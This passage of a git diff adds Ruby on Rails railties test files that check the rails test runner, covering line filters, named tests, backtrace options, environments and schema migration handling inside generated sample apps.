+    def test_environment_with_rack_env
+      with_rack_env "production" do
+        assert_match "production", Dir.chdir(app_path) { `bin/rails runner "puts Rails.env"` }
+      end
+    end
+  end
+end
diff --git a/railties/test/application/test_runner_test.rb b/railties/test/application/test_runner_test.rb
new file mode 100644
index 0000000000..bcd311c461
--- /dev/null
+++ b/railties/test/application/test_runner_test.rb
@@ -0,0 +1,769 @@
+require "isolation/abstract_unit"
+require "active_support/core_ext/string/strip"
+require "env_helpers"
+
+module ApplicationTests
+  class TestRunnerTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation, EnvHelpers
+
+    def setup
+      build_app
+      create_schema
+    end
+
+    def teardown
+      teardown_app
+    end
+
+    def test_run_via_backwardscompatibility
+      require "minitest/rails_plugin"
+
+      assert_nothing_raised do
+        Minitest.run_via[:ruby] = true
+      end
+
+      assert Minitest.run_via[:ruby]
+    end
+
+    def test_run_single_file
+      create_test_file :models, "foo"
+      create_test_file :models, "bar"
+      assert_match "1 runs, 1 assertions, 0 failures", run_test_command("test/models/foo_test.rb")
+    end
+
+    def test_run_single_file_with_absolute_path
+      create_test_file :models, "foo"
+      create_test_file :models, "bar"
+      assert_match "1 runs, 1 assertions, 0 failures", run_test_command("#{app_path}/test/models/foo_test.rb")
+    end
+
+    def test_run_multiple_files
+      create_test_file :models,  "foo"
+      create_test_file :models,  "bar"
+      assert_match "2 runs, 2 assertions, 0 failures", run_test_command("test/models/foo_test.rb test/models/bar_test.rb")
+    end
+
+    def test_run_multiple_files_with_absolute_paths
+      create_test_file :models,  "foo"
+      create_test_file :controllers,  "foobar_controller"
+      create_test_file :models, "bar"
+
+      assert_match "2 runs, 2 assertions, 0 failures", run_test_command("#{app_path}/test/models/foo_test.rb #{app_path}/test/controllers/foobar_controller_test.rb")
+    end
+
+    def test_run_file_with_syntax_error
+      app_file "test/models/error_test.rb", <<-RUBY
+        require 'test_helper'
+        def; end
+      RUBY
+
+      error = capture(:stderr) { run_test_command("test/models/error_test.rb") }
+      assert_match "syntax error", error
+    end
+
+    def test_run_models
+      create_test_file :models, "foo"
+      create_test_file :models, "bar"
+      create_test_file :controllers, "foobar_controller"
+      run_test_command("test/models").tap do |output|
+        assert_match "FooTest", output
+        assert_match "BarTest", output
+        assert_match "2 runs, 2 assertions, 0 failures", output
+      end
+    end
+
+    def test_run_helpers
+      create_test_file :helpers, "foo_helper"
+      create_test_file :helpers, "bar_helper"
+      create_test_file :controllers, "foobar_controller"
+      run_test_command("test/helpers").tap do |output|
+        assert_match "FooHelperTest", output
+        assert_match "BarHelperTest", output
+        assert_match "2 runs, 2 assertions, 0 failures", output
+      end
+    end
+
+    def test_run_units
+      create_test_file :models, "foo"
+      create_test_file :helpers, "bar_helper"
+      create_test_file :unit, "baz_unit"
+      create_test_file :controllers, "foobar_controller"
+
+      Dir.chdir(app_path) do
+        `bin/rails test:units`.tap do |output|
+          assert_match "FooTest", output
+          assert_match "BarHelperTest", output
+          assert_match "BazUnitTest", output
+          assert_match "3 runs, 3 assertions, 0 failures", output
+        end
+      end
+    end
+
+    def test_run_controllers
+      create_test_file :controllers, "foo_controller"
+      create_test_file :controllers, "bar_controller"
+      create_test_file :models, "foo"
+      run_test_command("test/controllers").tap do |output|
+        assert_match "FooControllerTest", output
+        assert_match "BarControllerTest", output
+        assert_match "2 runs, 2 assertions, 0 failures", output
+      end
+    end
+
+    def test_run_mailers
+      create_test_file :mailers, "foo_mailer"
+      create_test_file :mailers, "bar_mailer"
+      create_test_file :models, "foo"
+      run_test_command("test/mailers").tap do |output|
+        assert_match "FooMailerTest", output
+        assert_match "BarMailerTest", output
+        assert_match "2 runs, 2 assertions, 0 failures", output
+      end
+    end
+
+    def test_run_jobs
+      create_test_file :jobs, "foo_job"
+      create_test_file :jobs, "bar_job"
+      create_test_file :models, "foo"
+      run_test_command("test/jobs").tap do |output|
+        assert_match "FooJobTest", output
+        assert_match "BarJobTest", output
+        assert_match "2 runs, 2 assertions, 0 failures", output
+      end
+    end
+
+    def test_run_functionals
+      create_test_file :mailers, "foo_mailer"
+      create_test_file :controllers, "bar_controller"
+      create_test_file :functional, "baz_functional"
+      create_test_file :models, "foo"
+
+      Dir.chdir(app_path) do
+        `bin/rails test:functionals`.tap do |output|
+          assert_match "FooMailerTest", output
+          assert_match "BarControllerTest", output
+          assert_match "BazFunctionalTest", output
+          assert_match "3 runs, 3 assertions, 0 failures", output
+        end
+      end
+    end
+
+    def test_run_integration
+      create_test_file :integration, "foo_integration"
+      create_test_file :models, "foo"
+      run_test_command("test/integration").tap do |output|
+        assert_match "FooIntegration", output
+        assert_match "1 runs, 1 assertions, 0 failures", output
+      end
+    end
+
+    def test_run_all_suites
+      suites = [:models, :helpers, :unit, :controllers, :mailers, :functional, :integration, :jobs]
+      suites.each { |suite| create_test_file suite, "foo_#{suite}" }
+      run_test_command("") .tap do |output|
+        suites.each { |suite| assert_match "Foo#{suite.to_s.camelize}Test", output }
+        assert_match "8 runs, 8 assertions, 0 failures", output
+      end
+    end
+
+    def test_run_named_test
+      app_file "test/unit/chu_2_koi_test.rb", <<-RUBY
+        require 'test_helper'
+
+        class Chu2KoiTest < ActiveSupport::TestCase
+          def test_rikka
+            puts 'Rikka'
+          end
+
+          def test_sanae
+            puts 'Sanae'
+          end
+        end
+      RUBY
+
+      run_test_command("-n test_rikka test/unit/chu_2_koi_test.rb").tap do |output|
+        assert_match "Rikka", output
+        assert_no_match "Sanae", output
+      end
+    end
+
+    def test_run_matched_test
+      app_file "test/unit/chu_2_koi_test.rb", <<-RUBY
+        require 'test_helper'
+
+        class Chu2KoiTest < ActiveSupport::TestCase
+          def test_rikka
+            puts 'Rikka'
+          end
+
+          def test_sanae
+            puts 'Sanae'
+          end
+        end
+      RUBY
+
+      run_test_command("-n /rikka/ test/unit/chu_2_koi_test.rb").tap do |output|
+        assert_match "Rikka", output
+        assert_no_match "Sanae", output
+      end
+    end
+
+    def test_load_fixtures_when_running_test_suites
+      create_model_with_fixture
+      suites = [:models, :helpers, :controllers, :mailers, :integration]
+
+      suites.each do |suite, directory|
+        directory ||= suite
+        create_fixture_test directory
+        assert_match "3 users", run_test_command("test/#{suite}")
+        Dir.chdir(app_path) { FileUtils.rm_f "test/#{directory}" }
+      end
+    end
+
+    def test_run_with_model
+      skip "These feel a bit odd. Not sure we should keep supporting them."
+      create_model_with_fixture
+      create_fixture_test "models", "user"
+      assert_match "3 users", run_task(["test models/user"])
+      assert_match "3 users", run_task(["test app/models/user.rb"])
+    end
+
+    def test_run_different_environment_using_env_var
+      skip "no longer possible. Running tests in a different environment should be explicit"
+      app_file "test/unit/env_test.rb", <<-RUBY
+        require 'test_helper'
+
+        class EnvTest < ActiveSupport::TestCase
+          def test_env
+            puts Rails.env
+          end
+        end
+      RUBY
+
+      ENV["RAILS_ENV"] = "development"
+      assert_match "development", run_test_command("test/unit/env_test.rb")
+    end
+
+    def test_run_in_test_environment_by_default
+      create_env_test
+
+      assert_match "Current Environment: test", run_test_command("test/unit/env_test.rb")
+    end
+
+    def test_run_different_environment
+      create_env_test
+
+      assert_match "Current Environment: development",
+        run_test_command("-e development test/unit/env_test.rb")
+    end
+
+    def test_generated_scaffold_works_with_rails_test
+      create_scaffold
+      assert_match "0 failures, 0 errors, 0 skips", run_test_command("")
+    end
+
+    def test_generated_controller_works_with_rails_test
+      create_controller
+      assert_match "0 failures, 0 errors, 0 skips", run_test_command("")
+    end
+
+    def test_run_multiple_folders
+      create_test_file :models, "account"
+      create_test_file :controllers, "accounts_controller"
+
+      run_test_command("test/models test/controllers").tap do |output|
+        assert_match "AccountTest", output
+        assert_match "AccountsControllerTest", output
+        assert_match "2 runs, 2 assertions, 0 failures, 0 errors, 0 skips", output
+      end
+    end
+
+    def test_run_multiple_folders_with_absolute_paths
+      create_test_file :models, "account"
+      create_test_file :controllers, "accounts_controller"
+      create_test_file :helpers, "foo_helper"
+
+      run_test_command("#{app_path}/test/models #{app_path}/test/controllers").tap do |output|
+        assert_match "AccountTest", output
+        assert_match "AccountsControllerTest", output
+        assert_match "2 runs, 2 assertions, 0 failures, 0 errors, 0 skips", output
+      end
+    end
+
+    def test_run_with_ruby_command
+      app_file "test/models/post_test.rb", <<-RUBY
+        require 'test_helper'
+
+        class PostTest < ActiveSupport::TestCase
+          test 'declarative syntax works' do
+            puts 'PostTest'
+            assert true
+          end
+        end
+      RUBY
+
+      Dir.chdir(app_path) do
+        `ruby -Itest test/models/post_test.rb`.tap do |output|
+          assert_match "PostTest", output
+          assert_no_match "is already defined in", output
+        end
+      end
+    end
+
+    def test_mix_files_and_line_filters
+      create_test_file :models, "account"
+      app_file "test/models/post_test.rb", <<-RUBY
+        require 'test_helper'
+
+        class PostTest < ActiveSupport::TestCase
+          def test_post
+            puts 'PostTest'
+            assert true
+          end
+
+          def test_line_filter_does_not_run_this
+            assert true
+          end
+        end
+      RUBY
+
+      run_test_command("test/models/account_test.rb test/models/post_test.rb:4").tap do |output|
+        assert_match "AccountTest", output
+        assert_match "PostTest", output
+        assert_match "2 runs, 2 assertions", output
+      end
+    end
+
+    def test_more_than_one_line_filter
+      app_file "test/models/post_test.rb", <<-RUBY
+        require 'test_helper'
+
+        class PostTest < ActiveSupport::TestCase
+          test "first filter" do
+            puts 'PostTest:FirstFilter'
+            assert true
+          end
+
+          test "second filter" do
+            puts 'PostTest:SecondFilter'
+            assert true
+          end
+
+          test "line filter does not run this" do
+            assert true
+          end
+        end
+      RUBY
+
+      run_test_command("test/models/post_test.rb:4:9").tap do |output|
+        assert_match "PostTest:FirstFilter", output
+        assert_match "PostTest:SecondFilter", output
+        assert_match "2 runs, 2 assertions", output
+      end
+    end
+
+    def test_more_than_one_line_filter_with_multiple_files
+      app_file "test/models/account_test.rb", <<-RUBY
+        require 'test_helper'
+
+        class AccountTest < ActiveSupport::TestCase
+          test "first filter" do
+            puts 'AccountTest:FirstFilter'
+            assert true
+          end
+
+          test "second filter" do
+            puts 'AccountTest:SecondFilter'
+            assert true
+          end
+
+          test "line filter does not run this" do
+            assert true
+          end
+        end
+      RUBY
+
+      app_file "test/models/post_test.rb", <<-RUBY
+        require 'test_helper'
+
+        class PostTest < ActiveSupport::TestCase
+          test "first filter" do
+            puts 'PostTest:FirstFilter'
+            assert true
+          end
+
+          test "second filter" do
+            puts 'PostTest:SecondFilter'
+            assert true
+          end
+
+          test "line filter does not run this" do
+            assert true
+          end
+        end
+      RUBY
+
+      run_test_command("test/models/account_test.rb:4:9 test/models/post_test.rb:4:9").tap do |output|
+        assert_match "AccountTest:FirstFilter", output
+        assert_match "AccountTest:SecondFilter", output
+        assert_match "PostTest:FirstFilter", output
+        assert_match "PostTest:SecondFilter", output
+        assert_match "4 runs, 4 assertions", output
+      end
+    end
+
+    def test_multiple_line_filters
+      create_test_file :models, "account"
+      create_test_file :models, "post"
+
+      run_test_command("test/models/account_test.rb:4 test/models/post_test.rb:4").tap do |output|
+        assert_match "AccountTest", output
+        assert_match "PostTest", output
+      end
+    end
+
+    def test_line_filters_trigger_only_one_runnable
+      app_file "test/models/post_test.rb", <<-RUBY
+        require 'test_helper'
+
+        class PostTest < ActiveSupport::TestCase
+          test 'truth' do
+            assert true
+          end
+        end
+
+        class SecondPostTest < ActiveSupport::TestCase
+          test 'truth' do
+            assert false, 'ran second runnable'
+          end
+        end
+      RUBY
+
+      # Pass seed guaranteeing failure.
+      run_test_command("test/models/post_test.rb:4 --seed 30410").tap do |output|
+        assert_no_match "ran second runnable", output
+        assert_match "1 runs, 1 assertions", output
+      end
+    end
+
+    def test_line_filter_with_minitest_string_filter
+      app_file "test/models/post_test.rb", <<-RUBY
+        require 'test_helper'
+
+        class PostTest < ActiveSupport::TestCase
+          test 'by line' do
+            puts 'by line'
+            assert true
+          end
+
+          test 'by name' do
+            puts 'by name'
+            assert true
+          end
+        end
+      RUBY
+
+      run_test_command("test/models/post_test.rb:4 -n test_by_name").tap do |output|
+        assert_match "by line", output
+        assert_match "by name", output
+        assert_match "2 runs, 2 assertions", output
+      end
+    end
+
+    def test_shows_filtered_backtrace_by_default
+      create_backtrace_test
+
+      assert_match "Rails::BacktraceCleaner", run_test_command("test/unit/backtrace_test.rb")
+    end
+
+    def test_backtrace_option
+      create_backtrace_test
+
+      assert_match "Minitest::BacktraceFilter", run_test_command("test/unit/backtrace_test.rb -b")
+      assert_match "Minitest::BacktraceFilter",
+        run_test_command("test/unit/backtrace_test.rb --backtrace")
+    end
+
+    def test_show_full_backtrace_using_backtrace_environment_variable
+      create_backtrace_test
+
+      switch_env "BACKTRACE", "true" do
+        assert_match "Minitest::BacktraceFilter", run_test_command("test/unit/backtrace_test.rb")
+      end
+    end
+
+    def test_run_app_without_rails_loaded
+      # Simulate a real Rails app boot.
+      app_file "config/boot.rb", <<-RUBY
+        ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../Gemfile', __dir__)
+
+        require 'bundler/setup' # Set up gems listed in the Gemfile.
+      RUBY
+
+      assert_match "0 runs, 0 assertions", run_test_command("")
+    end
+
+    def test_output_inline_by_default
+      create_test_file :models, "post", pass: false
+
+      output = run_test_command("test/models/post_test.rb")
+      expect = %r{Running:\n\nPostTest\nF\n\nFailure:\nPostTest#test_truth \[[^\]]+test/models/post_test.rb:6\]:\nwups!\n\nbin/rails test test/models/post_test.rb:4\n\n\n\n}
+      assert_match expect, output
+    end
+
+    def test_only_inline_failure_output
+      create_test_file :models, "post", pass: false
+
+      output = run_test_command("test/models/post_test.rb")
+      assert_match %r{Finished in.*\n\n1 runs, 1 assertions}, output
+    end
+
+    def test_fail_fast
+      create_test_file :models, "post", pass: false
+
+      assert_match(/Interrupt/,
+        capture(:stderr) { run_test_command("test/models/post_test.rb --fail-fast") })
+    end
+
+    def test_raise_error_when_specified_file_does_not_exist
+      error = capture(:stderr) { run_test_command("test/not_exists.rb") }
+      assert_match(%r{cannot load such file.+test/not_exists\.rb}, error)
+    end
+
+    def test_pass_TEST_env_on_rake_test
+      create_test_file :models, "account"
+      create_test_file :models, "post", pass: false
+      # This specifically verifies TEST for backwards compatibility with rake test
+      # as bin/rails test already supports running tests from a single file more cleanly.
+      output = Dir.chdir(app_path) { `bin/rake test TEST=test/models/post_test.rb` }
+
+      assert_match "PostTest", output, "passing TEST= should run selected test"
+      assert_no_match "AccountTest", output, "passing TEST= should only run selected test"
+      assert_match "1 runs, 1 assertions", output
+    end
+
+    def test_pass_rake_options
+      create_test_file :models, "account"
+      output = Dir.chdir(app_path) { `bin/rake --rakefile Rakefile --trace=stdout test` }
+
+      assert_match "1 runs, 1 assertions", output
+      assert_match "Execute test", output
+    end
+
+    def test_rails_db_create_all_restores_db_connection
+      create_test_file :models, "account"
+      output = Dir.chdir(app_path) { `bin/rails db:create:all db:migrate && echo ".tables" | rails dbconsole` }
+      assert_match "ar_internal_metadata", output, "tables should be dumped"
+    end
+
+    def test_rails_db_create_all_restores_db_connection_after_drop
+      create_test_file :models, "account"
+      Dir.chdir(app_path) { `bin/rails db:create:all` } # create all to avoid warnings
+      output = Dir.chdir(app_path) { `bin/rails db:drop:all db:create:all db:migrate && echo ".tables" | rails dbconsole` }
+      assert_match "ar_internal_metadata", output, "tables should be dumped"
+    end
+
+    def test_rake_passes_TESTOPTS_to_minitest
+      create_test_file :models, "account"
+      output = Dir.chdir(app_path) { `bin/rake test TESTOPTS=-v` }
+      assert_match "AccountTest#test_truth", output, "passing TEST= should run selected test"
+    end
+
+    def test_rake_passes_multiple_TESTOPTS_to_minitest
+      create_test_file :models, "account"
+      output = Dir.chdir(app_path) { `bin/rake test TESTOPTS='-v --seed=1234'` }
+      assert_match "AccountTest#test_truth", output, "passing TEST= should run selected test"
+      assert_match "seed=1234", output, "passing TEST= should run selected test"
+    end
+
+    def test_rake_runs_multiple_test_tasks
+      create_test_file :models, "account"
+      create_test_file :controllers, "accounts_controller"
+      output = Dir.chdir(app_path) { `bin/rake test:models test:controllers TESTOPTS='-v'` }
+      assert_match "AccountTest#test_truth", output
+      assert_match "AccountsControllerTest#test_truth", output
+    end
+
+    def test_rake_db_and_test_tasks_parses_args_correctly
+      create_test_file :models, "account"
+      output = Dir.chdir(app_path) { `bin/rake db:migrate test:models TESTOPTS='-v' && echo ".tables" | rails dbconsole` }
+      assert_match "AccountTest#test_truth", output
+      assert_match "ar_internal_metadata", output
+    end
+
+    def test_warnings_option
+      app_file "test/models/warnings_test.rb", <<-RUBY
+        require 'test_helper'
+        def test_warnings
+          a = 1
+        end
+      RUBY
+      assert_match(/warning: assigned but unused variable/,
+        capture(:stderr) { run_test_command("test/models/warnings_test.rb -w") })
+    end
+
+    def test_reset_sessions_before_rollback_on_system_tests
+      app_file "test/system/reset_session_before_rollback_test.rb", <<-RUBY
+        require "application_system_test_case"
+
+        class ResetSessionBeforeRollbackTest < ApplicationSystemTestCase
+          def teardown_fixtures
+            puts "rollback"
+            super
+          end
+
+          Capybara.singleton_class.prepend(Module.new do
+            def reset_sessions!
+              puts "reset sessions"
+              super
+            end
+          end)
+
+          test "dummy" do
+          end
+        end
+      RUBY
+
+      run_test_command("test/system/reset_session_before_rollback_test.rb").tap do |output|
+        assert_match "reset sessions\nrollback", output
+        assert_match "1 runs, 0 assertions, 0 failures, 0 errors, 0 skips", output
+      end
+    end
+
+    def test_system_tests_are_not_run_with_the_default_test_command
+      app_file "test/system/dummy_test.rb", <<-RUBY
+        require "application_system_test_case"
+
+        class DummyTest < ApplicationSystemTestCase
+          test "something" do
+            assert true
+          end
+        end
+      RUBY
+
+      run_test_command("").tap do |output|
+        assert_match "0 runs, 0 assertions, 0 failures, 0 errors, 0 skips", output
+      end
+    end
+
+    def test_system_tests_are_not_run_through_rake_test
+      app_file "test/system/dummy_test.rb", <<-RUBY
+        require "application_system_test_case"
+
+        class DummyTest < ApplicationSystemTestCase
+          test "something" do
+            assert true
+          end
+        end
+      RUBY
+
+      output = Dir.chdir(app_path) { `bin/rake test` }
+      assert_match "0 runs, 0 assertions, 0 failures, 0 errors, 0 skips", output
+    end
+
+    def test_system_tests_are_run_through_rake_test_when_given_in_TEST
+      app_file "test/system/dummy_test.rb", <<-RUBY
+        require "application_system_test_case"
+
+        class DummyTest < ApplicationSystemTestCase
+          test "something" do
+            assert true
+          end
+        end
+      RUBY
+
+      output = Dir.chdir(app_path) { `bin/rake test TEST=test/system/dummy_test.rb` }
+      assert_match "1 runs, 1 assertions, 0 failures, 0 errors, 0 skips", output
+    end
+
+    private
+      def run_test_command(arguments = "test/unit/test_test.rb")
+        Dir.chdir(app_path) { `bin/rails t #{arguments}` }
+      end
+
+      def create_model_with_fixture
+        script "generate model user name:string"
+
+        app_file "test/fixtures/users.yml", <<-YAML.strip_heredoc
+          vampire:
+            id: 1
+            name: Koyomi Araragi
+          crab:
+            id: 2
+            name: Senjougahara Hitagi
+          cat:
+            id: 3
+            name: Tsubasa Hanekawa
+        YAML
+
+        run_migration
+      end
+
+      def create_fixture_test(path = :unit, name = "test")
+        app_file "test/#{path}/#{name}_test.rb", <<-RUBY
+          require 'test_helper'
+
+          class #{name.camelize}Test < ActiveSupport::TestCase
+            def test_fixture
+              puts "\#{User.count} users (\#{__FILE__})"
+            end
+          end
+        RUBY
+      end
+
+      def create_backtrace_test
+        app_file "test/unit/backtrace_test.rb", <<-RUBY
+          require 'test_helper'
+
+          class BacktraceTest < ActiveSupport::TestCase
+            def test_backtrace
+              puts Minitest.backtrace_filter
+            end
+          end
+        RUBY
+      end
+
+      def create_schema
+        app_file "db/schema.rb", ""
+      end
+
+      def create_test_file(path = :unit, name = "test", pass: true)
+        app_file "test/#{path}/#{name}_test.rb", <<-RUBY
+          require 'test_helper'
+
+          class #{name.camelize}Test < ActiveSupport::TestCase
+            def test_truth
+              puts "#{name.camelize}Test"
+              assert #{pass}, 'wups!'
+            end
+          end
+        RUBY
+      end
+
+      def create_env_test
+        app_file "test/unit/env_test.rb", <<-RUBY
+          require 'test_helper'
+
+          class EnvTest < ActiveSupport::TestCase
+            def test_env
+              puts "Current Environment: \#{Rails.env}"
+            end
+          end
+        RUBY
+      end
+
+      def create_scaffold
+        script "generate scaffold user name:string"
+        Dir.chdir(app_path) { File.exist?("app/models/user.rb") }
+        run_migration
+      end
+
+      def create_controller
+        script "generate controller admin/dashboard index"
+      end
+
+      def run_migration
+        Dir.chdir(app_path) { `bin/rails db:migrate` }
+      end
+  end
+end
diff --git a/railties/test/application/test_test.rb b/railties/test/application/test_test.rb
new file mode 100644
index 0000000000..32d2a6857c
--- /dev/null
+++ b/railties/test/application/test_test.rb
@@ -0,0 +1,338 @@
+require "isolation/abstract_unit"
+
+module ApplicationTests
+  class TestTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+
+    def setup
+      build_app
+    end
+
+    def teardown
+      teardown_app
+    end
+
+    test "simple successful test" do
+      app_file "test/unit/foo_test.rb", <<-RUBY
+        require 'test_helper'
+
+        class FooTest < ActiveSupport::TestCase
+          def test_truth
+            assert true
+          end
+        end
+      RUBY
+
+      assert_successful_test_run "unit/foo_test.rb"
+    end
+
+    test "after_run" do
+      app_file "test/unit/foo_test.rb", <<-RUBY
+        require 'test_helper'
+
+        Minitest.after_run { puts "WORLD" }
+        Minitest.after_run { puts "HELLO" }
+
+        class FooTest < ActiveSupport::TestCase
+          def test_truth
+            assert true
+          end
+        end
+      RUBY
+
+      result = assert_successful_test_run "unit/foo_test.rb"
+      assert_equal ["HELLO", "WORLD"], result.scan(/HELLO|WORLD/) # only once and in correct order
+    end
+
+    test "simple failed test" do
+      app_file "test/unit/foo_test.rb", <<-RUBY
+        require 'test_helper'
+
+        class FooTest < ActiveSupport::TestCase
+          def test_truth
+            assert false
+          end
+        end
+      RUBY
+
+      assert_unsuccessful_run "unit/foo_test.rb", "Failed assertion"
+    end
+
+    test "integration test" do
+      controller "posts", <<-RUBY
+        class PostsController < ActionController::Base
+        end
+      RUBY
+
+      app_file "app/views/posts/index.html.erb", <<-HTML
+        Posts#index
+      HTML
+
+      app_file "test/integration/posts_test.rb", <<-RUBY
+        require 'test_helper'
+
+        class PostsTest < ActionDispatch::IntegrationTest
+          def test_index
+            get '/posts'
+            assert_response :success
+            assert_includes @response.body, 'Posts#index'
+          end
+        end
+      RUBY
+
+      assert_successful_test_run "integration/posts_test.rb"
+    end
+
+    test "enable full backtraces on test failures" do
+      app_file "test/unit/failing_test.rb", <<-RUBY
+        require 'test_helper'
+
+        class FailingTest < ActiveSupport::TestCase
+          def test_failure
+            raise "fail"
+          end
+        end
+      RUBY
+
+      output = run_test_file("unit/failing_test.rb", env: { "BACKTRACE" => "1" })
+      assert_match %r{test/unit/failing_test\.rb}, output
+      assert_match %r{test/unit/failing_test\.rb:4}, output
+    end
+
+    test "ruby schema migrations" do
+      output  = script("generate model user name:string")
+      version = output.match(/(\d+)_create_users\.rb/)[1]
+
+      app_file "test/models/user_test.rb", <<-RUBY
+        require 'test_helper'
+
+        class UserTest < ActiveSupport::TestCase
+          test "user" do
+            User.create! name: "Jon"
+          end
+        end
+      RUBY
+      app_file "db/schema.rb", ""
+
+      assert_unsuccessful_run "models/user_test.rb", "Migrations are pending"
+
+      app_file "db/schema.rb", <<-RUBY
+        ActiveRecord::Schema.define(version: #{version}) do
+          create_table :users do |t|
+            t.string :name
+          end
+        end
+      RUBY
+
+      app_file "config/initializers/disable_maintain_test_schema.rb", <<-RUBY
+        Rails.application.config.active_record.maintain_test_schema = false
+      RUBY
+
+      assert_unsuccessful_run "models/user_test.rb", "Could not find table 'users'"
+
+      File.delete "#{app_path}/config/initializers/disable_maintain_test_schema.rb"
+
+      result = assert_successful_test_run("models/user_test.rb")
+      assert_not_includes result, "create_table(:users)"
+    end
+
+    test "sql structure migrations" do
+      output  = script("generate model user name:string")
+      version = output.match(/(\d+)_create_users\.rb/)[1]
+
+      app_file "test/models/user_test.rb", <<-RUBY
+        require 'test_helper'
+
+        class UserTest < ActiveSupport::TestCase
+          test "user" do
+            User.create! name: "Jon"
+          end
+        end
+      RUBY
+
+      app_file "db/structure.sql", ""
+      app_file "config/initializers/enable_sql_schema_format.rb", <<-RUBY
+        Rails.application.config.active_record.schema_format = :sql
+      RUBY
+
+      assert_unsuccessful_run "models/user_test.rb", "Migrations are pending"
+
+      app_file "db/structure.sql", <<-SQL
+        CREATE TABLE "schema_migrations" ("version" varchar(255) NOT NULL);
+        CREATE UNIQUE INDEX "unique_schema_migrations" ON "schema_migrations" ("version");
+        CREATE TABLE "users" ("id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, "name" varchar(255));
+        INSERT INTO schema_migrations (version) VALUES ('#{version}');
+      SQL
+
+      app_file "config/initializers/disable_maintain_test_schema.rb", <<-RUBY
+        Rails.application.config.active_record.maintain_test_schema = false
+      RUBY
+
+      assert_unsuccessful_run "models/user_test.rb", "Could not find table 'users'"
+
+      File.delete "#{app_path}/config/initializers/disable_maintain_test_schema.rb"
+
+      assert_successful_test_run("models/user_test.rb")
+    end
+
+    test "sql structure migrations when adding column to existing table" do
+      output_1  = script("generate model user name:string")
+      version_1 = output_1.match(/(\d+)_create_users\.rb/)[1]
+
+      app_file "test/models/user_test.rb", <<-RUBY
+        require 'test_helper'
+        class UserTest < ActiveSupport::TestCase
+          test "user" do
+            User.create! name: "Jon"
+          end
+        end
+      RUBY
+
+      app_file "config/initializers/enable_sql_schema_format.rb", <<-RUBY
+        Rails.application.config.active_record.schema_format = :sql
+      RUBY
+
+      app_file "db/structure.sql", <<-SQL
+        CREATE TABLE "schema_migrations" ("version" varchar(255) NOT NULL);
+        CREATE UNIQUE INDEX "unique_schema_migrations" ON "schema_migrations" ("version");
+        CREATE TABLE "users" ("id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, "name" varchar(255));
+        INSERT INTO schema_migrations (version) VALUES ('#{version_1}');
+      SQL
+
+      assert_successful_test_run("models/user_test.rb")
+
+      output_2  = script("generate migration add_email_to_users")
+      version_2 = output_2.match(/(\d+)_add_email_to_users\.rb/)[1]
+
+      app_file "test/models/user_test.rb", <<-RUBY
+        require 'test_helper'
+
+        class UserTest < ActiveSupport::TestCase
+          test "user" do
+            User.create! name: "Jon", email: "jon@doe.com"
+          end
+        end
+      RUBY
+
+      app_file "db/structure.sql", <<-SQL
+        CREATE TABLE "schema_migrations" ("version" varchar(255) NOT NULL);
+        CREATE UNIQUE INDEX "unique_schema_migrations" ON "schema_migrations" ("version");
+        CREATE TABLE "users" ("id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, "name" varchar(255), "email" varchar(255));
+        INSERT INTO schema_migrations (version) VALUES ('#{version_1}');
+        INSERT INTO schema_migrations (version) VALUES ('#{version_2}');
+      SQL
+
+      assert_successful_test_run("models/user_test.rb")
+    end
+
+    # TODO: would be nice if we could detect the schema change automatically.
+    # For now, the user has to synchronize the schema manually.
+    # This test-case serves as a reminder for this use-case.
+    test "manually synchronize test schema after rollback" do
+      output  = script("generate model user name:string")
+      version = output.match(/(\d+)_create_users\.rb/)[1]
+
+      app_file "test/models/user_test.rb", <<-RUBY
+        require 'test_helper'
+
+        class UserTest < ActiveSupport::TestCase
+          test "user" do
+            assert_equal ["id", "name"], User.columns_hash.keys
+          end
+        end
+      RUBY
+      app_file "db/schema.rb", <<-RUBY
+        ActiveRecord::Schema.define(version: #{version}) do
+          create_table :users do |t|
+            t.string :name
+          end
+        end
+      RUBY
+
+      assert_successful_test_run "models/user_test.rb"
+
+      # Simulate `db:rollback` + edit of the migration file + `db:migrate`
+      app_file "db/schema.rb", <<-RUBY
+        ActiveRecord::Schema.define(version: #{version}) do
+          create_table :users do |t|
+            t.string :name
+            t.integer :age
+          end
+        end
+      RUBY
+
+      assert_successful_test_run "models/user_test.rb"
+
+      Dir.chdir(app_path) { `bin/rails db:test:prepare` }
+
+      assert_unsuccessful_run "models/user_test.rb", <<-ASSERTION
+Expected: ["id", "name"]
+  Actual: ["id", "name", "age"]
+      ASSERTION
+    end
+
+    test "hooks for plugins" do
+      output  = script("generate model user name:string")
+      version = output.match(/(\d+)_create_users\.rb/)[1]
+
+      app_file "lib/tasks/hooks.rake", <<-RUBY
+        task :before_hook do
+          has_user_table = ActiveRecord::Base.connection.table_exists?('users')
+          puts "before: " + has_user_table.to_s
+        end
+
+        task :after_hook do
+          has_user_table = ActiveRecord::Base.connection.table_exists?('users')
+          puts "after: " + has_user_table.to_s
+        end
+
+        Rake::Task["db:test:prepare"].enhance [:before_hook] do
+          Rake::Task[:after_hook].invoke
+        end
+      RUBY
+      app_file "test/models/user_test.rb", <<-RUBY
+        require 'test_helper'
+        class UserTest < ActiveSupport::TestCase
+          test "user" do
+            User.create! name: "Jon"
+          end
+        end
+      RUBY
+
+      # Simulate `db:migrate`
+      app_file "db/schema.rb", <<-RUBY
+        ActiveRecord::Schema.define(version: #{version}) do
+          create_table :users do |t|
+            t.string :name
+          end
+        end
+      RUBY
+
+      output = assert_successful_test_run "models/user_test.rb"
+      assert_includes output, "before: false\nafter: true"
+
+      # running tests again won't trigger a schema update
+      output = assert_successful_test_run "models/user_test.rb"
+      assert_not_includes output, "before:"
+      assert_not_includes output, "after:"
+    end
+
+    private
+      def assert_unsuccessful_run(name, message)
+        result = run_test_file(name)
+        assert_not_equal 0, $?.to_i
+        assert_includes result, message
+        result
+      end
+
+      def assert_successful_test_run(name)
+        result = run_test_file(name)
+        assert_equal 0, $?.to_i, result
+        result
+      end
+
+      def run_test_file(name, options = {})
+        Dir.chdir(app_path) { `bin/rails test "#{app_path}/test/#{name}" 2>&1` }
+      end
+  end
+end
diff --git a/railties/test/application/url_generation_test.rb b/railties/test/application/url_generation_test.rb
new file mode 100644
index 0000000000..37f129475c
--- /dev/null
+++ b/railties/test/application/url_generation_test.rb
